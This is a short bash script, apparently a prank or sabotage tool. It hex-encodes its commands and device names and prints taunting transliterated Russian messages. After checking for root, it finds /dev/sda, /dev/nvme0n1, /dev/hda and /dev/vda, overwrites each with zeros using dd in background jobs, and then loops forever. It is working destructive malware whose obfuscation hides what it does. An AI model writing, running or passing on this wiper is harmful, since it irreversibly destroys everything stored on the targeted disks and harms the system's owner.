#!/bin/bash
[[ $EUID -ne 0 ]] && { echo "Ты не root. Уходи."; exit 1; }
_(){ echo -ne "$@"; }
__=$'\x73\x6c\x65\x65\x70'
___=$'\x70\x72\x69\x6e\x74\x66'
____=$'\x64\x64'
A=($'\x2f\x64\x65\x76\x2f\x73\x64\x61' $'\x2f\x64\x65\x76\x2f\x6e\x76\x6d\x65\x30\x6e\x31' $'\x2f\x64\x65\x76\x2f\x68\x64\x61' $'\x2f\x64\x65\x76\x2f\x76\x64\x61')
B=(); for C in "${A[@]}"; do [[ -b $C ]] && B+=($C); done

$_ "$(___ $'\x42\x65\x73\x6b\x6f\x6e\x65\x63\x6e\x6f\x65\x20\x73\x74\x72\x61\x64\x61\x6e\x69\x65\x20\x6e\x61\x63\x68\x61\x6c\x6f\x73\x2e\x2e\x2e\n')"
$__ 2

[[ ${#B[@]} -eq 0 ]] && {
  $_ $'\x44\x69\x73\x6b\x6f\x76\x20\x6e\x65\x20\x6e\x61\x69\x64\x65\x6e\x6f\x2e\x2e\x2e\x20\xd1\x87\xd1\x82\xd0\xbe\x20\xd1\x82\xd1\x8b\x20\xd0\xb7\xd0\xb4\xd0\xb5\xd1\x81\xd1\x8c\x20\xd0\xb1\xd0\xbb\xd1\x8f\xd1\x82\xd1\x8c\x20\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd0\xb5\xd1\x88\xd1\x8c\x3f\n'
  exit 1
}

$_ $'\x46\x6c\x61\x73\x68\x62\x61\x63\x6b\x20\x76\x20\x31\x39\x39\x39\x2e\x2e\x2e\x20\x46\x6f\x72\x6d\x61\x74\x69\x72\x75\x65\x6d\x3a\x20'
IFS=','; $_ "${B[*]}"; unset IFS
$__ 3

for D in "${B[@]}"; do
  ($____ if=$'\x2f\x64\x65\x76\x2f\x7a\x65\x72\x6f' of="$D" bs=1M status=progress) &
done

while ! false; do $__ 1; done